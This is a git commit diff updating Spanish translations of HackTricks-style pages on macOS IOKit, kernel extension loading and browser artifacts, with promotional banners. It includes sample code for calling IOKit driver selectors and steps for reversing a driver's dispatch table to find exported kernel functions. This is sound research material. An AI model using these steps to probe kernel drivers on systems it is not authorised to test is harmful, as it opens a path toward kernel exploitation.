Translated ['generic-methodologies-and-resources/basic-forensic-methodol

This commit is contained in:
Translator 2024-07-19 10:14:08 +00:00
parent 80e83b5639
commit 980cb855e7
150 changed files with 5700 additions and 4579 deletions

View file

@ -10,7 +10,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
@ -187,21 +187,22 @@ Estas rutas y comandos son cruciales para acceder y comprender los datos de nave
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) para construir y **automatizar flujos de trabajo** fácilmente impulsados por las **herramientas más avanzadas** de la comunidad.\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) para construir y **automatizar flujos de trabajo** fácilmente impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
{% hint style="success" %}
Aprende y practica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking de AWS desde cero hasta héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merch oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,28 +1,31 @@
# macOS IOKit
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Comparte tus trucos de hacking enviando PR a** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Información Básica
El I/O Kit es un **marco de controladores de dispositivos** orientado a objetos de código abierto en el kernel XNU, que maneja **controladores de dispositivos cargados dinámicamente**. Permite agregar código modular al kernel sobre la marcha, admitiendo hardware diverso.
El I/O Kit es un **framework de controladores de dispositivos** de código abierto y orientado a objetos en el núcleo XNU, que maneja **controladores de dispositivos cargados dinámicamente**. Permite que se agregue código modular al núcleo sobre la marcha, soportando hardware diverso.
Los controladores de IOKit básicamente **exportan funciones desde el kernel**. Estos tipos de parámetros de función están **predefinidos** y son verificados. Además, al igual que XPC, IOKit es solo otra capa en la parte **superior de los mensajes Mach**.
Los controladores de IOKit básicamente **exportan funciones del núcleo**. Los **tipos** de parámetros de estas funciones son **predefinidos** y son verificados. Además, similar a XPC, IOKit es solo otra capa **sobre los mensajes Mach**.
El código del **kernel IOKit XNU** es de código abierto por Apple en [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Además, los componentes de IOKit en el espacio de usuario también son de código abierto [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser).
El **código del núcleo IOKit XNU** es de código abierto por Apple en [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Además, los componentes de IOKit en el espacio de usuario también son de código abierto [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser).
Sin embargo, **ningún controlador de IOKit** es de código abierto. De todos modos, de vez en cuando, una versión de un controlador puede venir con símbolos que facilitan su depuración. Consulta cómo [**obtener las extensiones del controlador desde el firmware aquí**](./#ipsw)**.**
Sin embargo, **ningún controlador de IOKit** es de código abierto. De todos modos, de vez en cuando, un lanzamiento de un controlador puede venir con símbolos que facilitan su depuración. Consulta cómo [**obtener las extensiones del controlador del firmware aquí**](./#ipsw)**.**
Está escrito en **C++**. Puedes obtener símbolos C++ desenmascarados con:
Está escrito en **C++**. Puedes obtener símbolos C++ demangled con:
```bash
# Get demangled symbols
nm -C com.apple.driver.AppleJPEGDriver
@ -33,7 +36,7 @@ __ZN16IOUserClient202222dispatchExternalMethodEjP31IOExternalMethodArgumentsOpaq
IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
```
{% hint style="danger" %}
Las **funciones expuestas** de IOKit podrían realizar **verificaciones de seguridad adicionales** cuando un cliente intenta llamar a una función, pero hay que tener en cuenta que las aplicaciones suelen estar **limitadas** por el **sandbox** con el que las funciones de IOKit pueden interactuar.
Las **funciones expuestas** de IOKit podrían realizar **verificaciones de seguridad adicionales** cuando un cliente intenta llamar a una función, pero ten en cuenta que las aplicaciones suelen estar **limitadas** por el **sandbox** con el que pueden interactuar las funciones de IOKit.
{% endhint %}
## Controladores
@ -65,48 +68,48 @@ Index Refs Address Size Wired Name (Version) UUID <Linked
9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5>
10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1>
```
Hasta el número 9, los controladores enumerados se **cargan en la dirección 0**. Esto significa que no son controladores reales, sino que forman **parte del kernel y no se pueden descargar**.
Hasta el número 9, los controladores listados están **cargados en la dirección 0**. Esto significa que no son controladores reales, sino **parte del núcleo y no se pueden descargar**.
Para encontrar extensiones específicas, puedes usar:
```bash
kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id
kextfind -bundle-id -substring IOR #Search by substring in bundle-id
```
Para cargar y descargar extensiones de kernel, haga lo siguiente:
Para cargar y descargar extensiones del kernel, haz lo siguiente:
```bash
kextload com.apple.iokit.IOReportFamily
kextunload com.apple.iokit.IOReportFamily
```
## IORegistry
El **IORegistry** es una parte crucial del marco de trabajo IOKit en macOS e iOS que sirve como una base de datos para representar la configuración de hardware y el estado del sistema. Es una **colección jerárquica de objetos que representan todo el hardware y controladores** cargados en el sistema, y sus relaciones entre sí.
El **IORegistry** es una parte crucial del marco IOKit en macOS e iOS que sirve como una base de datos para representar la configuración y el estado del hardware del sistema. Es una **colección jerárquica de objetos que representan todo el hardware y los controladores** cargados en el sistema, y sus relaciones entre sí.
Puedes obtener el IORegistry utilizando la cli **`ioreg`** para inspeccionarlo desde la consola (especialmente útil para iOS).
Puedes obtener el IORegistry usando la cli **`ioreg`** para inspeccionarlo desde la consola (especialmente útil para iOS).
```bash
ioreg -l #List all
ioreg -w 0 #Not cut lines
ioreg -p <plane> #Check other plane
```
Puedes descargar **`IORegistryExplorer`** desde **Xcode Additional Tools** en [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) e inspeccionar el **IORegistry de macOS** a través de una interfaz **gráfica**.
Podrías descargar **`IORegistryExplorer`** de **Xcode Additional Tools** desde [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) e inspeccionar el **macOS IORegistry** a través de una interfaz **gráfica**.
<figure><img src="../../../.gitbook/assets/image (1167).png" alt="" width="563"><figcaption></figcaption></figure>
En IORegistryExplorer, se utilizan "planos" para organizar y mostrar las relaciones entre diferentes objetos en el IORegistry de macOS. Cada plano representa un tipo específico de relación o una vista particular de la configuración de hardware y controladores del sistema. Aquí tienes algunos de los planos comunes que podrías encontrar en IORegistryExplorer:
En IORegistryExplorer, se utilizan "planos" para organizar y mostrar las relaciones entre diferentes objetos en el IORegistry. Cada plano representa un tipo específico de relación o una vista particular de la configuración de hardware y controladores del sistema. Aquí hay algunos de los planos comunes que podrías encontrar en IORegistryExplorer:
1. **Plano IOService**: Este es el plano más general, que muestra los objetos de servicio que representan controladores y nubs (canales de comunicación entre controladores). Muestra las relaciones proveedor-cliente entre estos objetos.
2. **Plano IODeviceTree**: Este plano representa las conexiones físicas entre dispositivos tal como están conectados al sistema. A menudo se utiliza para visualizar la jerarquía de dispositivos conectados a través de buses como USB o PCI.
3. **Plano IOPower**: Muestra objetos y sus relaciones en términos de gestión de energía. Puede mostrar qué objetos están afectando el estado de energía de otros, útil para depurar problemas relacionados con la energía.
4. **Plano IOUSB**: Específicamente enfocado en dispositivos USB y sus relaciones, mostrando la jerarquía de concentradores USB y dispositivos conectados.
5. **Plano IOAudio**: Este plano es para representar dispositivos de audio y sus relaciones dentro del sistema.
1. **IOService Plane**: Este es el plano más general, que muestra los objetos de servicio que representan controladores y nubs (canales de comunicación entre controladores). Muestra las relaciones proveedor-cliente entre estos objetos.
2. **IODeviceTree Plane**: Este plano representa las conexiones físicas entre dispositivos a medida que están conectados al sistema. A menudo se utiliza para visualizar la jerarquía de dispositivos conectados a través de buses como USB o PCI.
3. **IOPower Plane**: Muestra objetos y sus relaciones en términos de gestión de energía. Puede mostrar qué objetos están afectando el estado de energía de otros, útil para depurar problemas relacionados con la energía.
4. **IOUSB Plane**: Enfocado específicamente en dispositivos USB y sus relaciones, mostrando la jerarquía de hubs USB y dispositivos conectados.
5. **IOAudio Plane**: Este plano es para representar dispositivos de audio y sus relaciones dentro del sistema.
6. ...
## Ejemplo de Código de Comunicación del Controlador
## Ejemplo de Código de Comunicación de Controladores
El siguiente código se conecta al servicio IOKit `"NombreDeTuServicioAquí"` y llama a la función dentro del selector 0. Para ello:
El siguiente código se conecta al servicio IOKit `"YourServiceNameHere"` y llama a la función dentro del selector 0. Para ello:
* primero llama a **`IOServiceMatching`** y **`IOServiceGetMatchingServices`** para obtener el servicio.
* Luego establece una conexión llamando a **`IOServiceOpen`**.
* Y finalmente llama a una función con **`IOConnectCallScalarMethod`** indicando el selector 0 (el selector es el número asignado a la función que deseas llamar).
* Y finalmente llama a una función con **`IOConnectCallScalarMethod`** indicando el selector 0 (el selector es el número que se le ha asignado a la función que deseas llamar).
```objectivec
#import <Foundation/Foundation.h>
#import <IOKit/IOKitLib.h>
@ -161,19 +164,19 @@ IOObjectRelease(iter);
return 0;
}
```
Hay **otras** funciones que se pueden utilizar para llamar a funciones de IOKit aparte de **`IOConnectCallScalarMethod`** como **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**...
Hay **otras** funciones que se pueden usar para llamar a funciones de IOKit además de **`IOConnectCallScalarMethod`** como **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**...
## Reversing driver entrypoint
## Invirtiendo el punto de entrada del controlador
Podrías obtener estas, por ejemplo, de una [imagen de firmware (ipsw)](./#ipsw). Luego, cárgala en tu descompilador favorito.
Podrías obtener estos, por ejemplo, de una [**imagen de firmware (ipsw)**](./#ipsw). Luego, cárgalo en tu desensamblador favorito.
Podrías empezar descompilando la función **`externalMethod`** ya que esta es la función del controlador que recibirá la llamada y llamará a la función correcta:
Podrías comenzar a desensamblar la función **`externalMethod`** ya que esta es la función del controlador que recibirá la llamada y llamará a la función correcta:
<figure><img src="../../../.gitbook/assets/image (1168).png" alt="" width="315"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1169).png" alt=""><figcaption></figcaption></figure>
Esa horrible llamada demangleada significa:
Esa horrible llamada desmanglada significa:
{% code overflow="wrap" %}
```cpp
@ -181,7 +184,7 @@ IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArguments
```
{% endcode %}
Tenga en cuenta que en la definición anterior falta el parámetro **`self`**, la buena definición sería:
Nota cómo en la definición anterior falta el parámetro **`self`**, la buena definición sería:
{% code overflow="wrap" %}
```cpp
@ -189,29 +192,29 @@ IOUserClient2022::dispatchExternalMethod(self, unsigned int, IOExternalMethodArg
```
{% endcode %}
De hecho, puedes encontrar la definición real en [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388):
En realidad, puedes encontrar la definición real en [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388):
```cpp
IOUserClient2022::dispatchExternalMethod(uint32_t selector, IOExternalMethodArgumentsOpaque *arguments,
const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount,
OSObject * target, void * reference)
```
Con esta información puedes reescribir Ctrl+Right -> `Editar firma de función` y establecer los tipos conocidos:
Con esta información puedes reescribir Ctrl+Right -> `Edit function signature` y establecer los tipos conocidos:
<figure><img src="../../../.gitbook/assets/image (1174).png" alt=""><figcaption></figcaption></figure>
El nuevo código descompilado se verá así:
El nuevo código decompilado se verá así:
<figure><img src="../../../.gitbook/assets/image (1175).png" alt=""><figcaption></figcaption></figure>
Para el siguiente paso necesitamos haber definido la estructura **`IOExternalMethodDispatch2022`**. Es de código abierto en [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176), puedes definirla así:
Para el siguiente paso necesitamos tener definida la estructura **`IOExternalMethodDispatch2022`**. Es de código abierto en [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176), podrías definirla:
<figure><img src="../../../.gitbook/assets/image (1170).png" alt=""><figcaption></figcaption></figure>
Ahora, siguiendo `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` puedes ver muchos datos:
Ahora, siguiendo el `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` puedes ver muchos datos:
<figure><img src="../../../.gitbook/assets/image (1176).png" alt="" width="563"><figcaption></figcaption></figure>
Cambia el Tipo de Datos a **`IOExternalMethodDispatch2022:`**
Cambia el tipo de dato a **`IOExternalMethodDispatch2022:`**
<figure><img src="../../../.gitbook/assets/image (1177).png" alt="" width="375"><figcaption></figcaption></figure>
@ -219,14 +222,29 @@ después del cambio:
<figure><img src="../../../.gitbook/assets/image (1179).png" alt="" width="563"><figcaption></figcaption></figure>
Y como ahora sabemos que tenemos un **array de 7 elementos** (verifica el código descompilado final), haz clic para crear un array de 7 elementos:
Y como ahora sabemos que hay un **array de 7 elementos** (verifica el código decompilado final), haz clic para crear un array de 7 elementos:
<figure><img src="../../../.gitbook/assets/image (1180).png" alt="" width="563"><figcaption></figcaption></figure>
Una vez creado el array, puedes ver todas las funciones exportadas:
Después de que se crea el array, puedes ver todas las funciones exportadas:
<figure><img src="../../../.gitbook/assets/image (1181).png" alt=""><figcaption></figcaption></figure>
{% hint style="success" %}
Si recuerdas, para **llamar** una función **exportada** desde el espacio de usuario no necesitamos llamar al nombre de la función, sino al **número de selector**. Aquí puedes ver que el selector **0** es la función **`initializeDecoder`**, el selector **1** es **`startDecoder`**, el selector **2** **`initializeEncoder`**...
Si recuerdas, para **llamar** a una función **exportada** desde el espacio de usuario no necesitamos llamar al nombre de la función, sino al **número de selector**. Aquí puedes ver que el selector **0** es la función **`initializeDecoder`**, el selector **1** es **`startDecoder`**, el selector **2** **`initializeEncoder`**...
{% endhint %}
{% hint style="success" %}
Aprende y practica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,46 +1,49 @@
# Extensiones del Kernel de macOS
# macOS Kernel Extensions
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Comparte tus trucos de hacking enviando PR a** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Información Básica
Las extensiones del kernel (Kexts) son **paquetes** con extensión **`.kext`** que se **cargan directamente en el espacio del kernel de macOS**, proporcionando funcionalidades adicionales al sistema operativo principal.
Las extensiones del kernel (Kexts) son **paquetes** con una extensión **`.kext`** que se **cargan directamente en el espacio del kernel de macOS**, proporcionando funcionalidad adicional al sistema operativo principal.
### Requisitos
Obviamente, esto es tan potente que es **complicado cargar una extensión del kernel**. Estos son los **requisitos** que una extensión del kernel debe cumplir para ser cargada:
Obviamente, esto es tan poderoso que es **complicado cargar una extensión del kernel**. Estos son los **requisitos** que una extensión del kernel debe cumplir para ser cargada:
* Cuando se **ingresa al modo de recuperación**, las **extensiones del kernel deben estar permitidas** para ser cargadas:
* Al **ingresar al modo de recuperación**, las **extensiones del kernel deben ser permitidas** para ser cargadas:
<figure><img src="../../../.gitbook/assets/image (327).png" alt=""><figcaption></figcaption></figure>
* La extensión del kernel debe estar **firmada con un certificado de firma de código de kernel**, que solo puede ser **concedido por Apple**. Quien revisará en detalle la empresa y las razones por las que es necesaria.
* La extensión del kernel debe estar **firmada con un certificado de firma de código del kernel**, que solo puede ser **otorgado por Apple**. Quien revisará en detalle la empresa y las razones por las que se necesita.
* La extensión del kernel también debe estar **notarizada**, Apple podrá verificarla en busca de malware.
* Luego, el usuario **root** es el que puede **cargar la extensión del kernel** y los archivos dentro del paquete deben **pertenecer a root**.
* Durante el proceso de carga, el paquete debe estar preparado en una **ubicación protegida que no sea root**: `/Library/StagedExtensions` (requiere el permiso `com.apple.rootless.storage.KernelExtensionManagement`).
* Finalmente, al intentar cargarla, el usuario recibirá una [**solicitud de confirmación**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) y, si se acepta, la computadora debe ser **reiniciada** para cargarla.
* Luego, el usuario **root** es quien puede **cargar la extensión del kernel** y los archivos dentro del paquete deben **pertenecer a root**.
* Durante el proceso de carga, el paquete debe estar preparado en una **ubicación protegida no root**: `/Library/StagedExtensions` (requiere el permiso `com.apple.rootless.storage.KernelExtensionManagement`).
* Finalmente, al intentar cargarla, el usuario [**recibirá una solicitud de confirmación**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) y, si se acepta, la computadora debe ser **reiniciada** para cargarla.
### Proceso de carga
En Catalina era así: Es interesante notar que el proceso de **verificación** ocurre en **userland**. Sin embargo, solo las aplicaciones con el permiso **`com.apple.private.security.kext-management`** pueden **solicitar al kernel que cargue una extensión**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
En Catalina fue así: Es interesante notar que el proceso de **verificación** ocurre en **userland**. Sin embargo, solo las aplicaciones con el permiso **`com.apple.private.security.kext-management`** pueden **solicitar al kernel que cargue una extensión**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
1. **`kextutil`** cli **inicia** el proceso de **verificación** para cargar una extensión
* Se comunicará con **`kextd`** enviando un **servicio Mach**.
* Hablará con **`kextd`** enviando usando un **servicio Mach**.
2. **`kextd`** verificará varias cosas, como la **firma**
* Se comunicará con **`syspolicyd`** para **verificar** si la extensión puede ser **cargada**.
3. **`syspolicyd`** **solicitará** al **usuario** si la extensión no ha sido cargada previamente.
* Hablará con **`syspolicyd`** para **verificar** si la extensión puede ser **cargada**.
3. **`syspolicyd`** **preguntará** al **usuario** si la extensión no ha sido cargada previamente.
* **`syspolicyd`** informará el resultado a **`kextd`**
4. **`kextd`** finalmente podrá **indicarle al kernel que cargue** la extensión
4. **`kextd`** finalmente podrá **decirle al kernel que cargue** la extensión
Si **`kextd`** no está disponible, **`kextutil`** puede realizar las mismas verificaciones.
@ -49,14 +52,17 @@ Si **`kextd`** no está disponible, **`kextutil`** puede realizar las mismas ver
* [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
* [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Comparte tus trucos de hacking enviando PR a** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,30 +1,36 @@
# Vulnerabilidades del Kernel de macOS
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
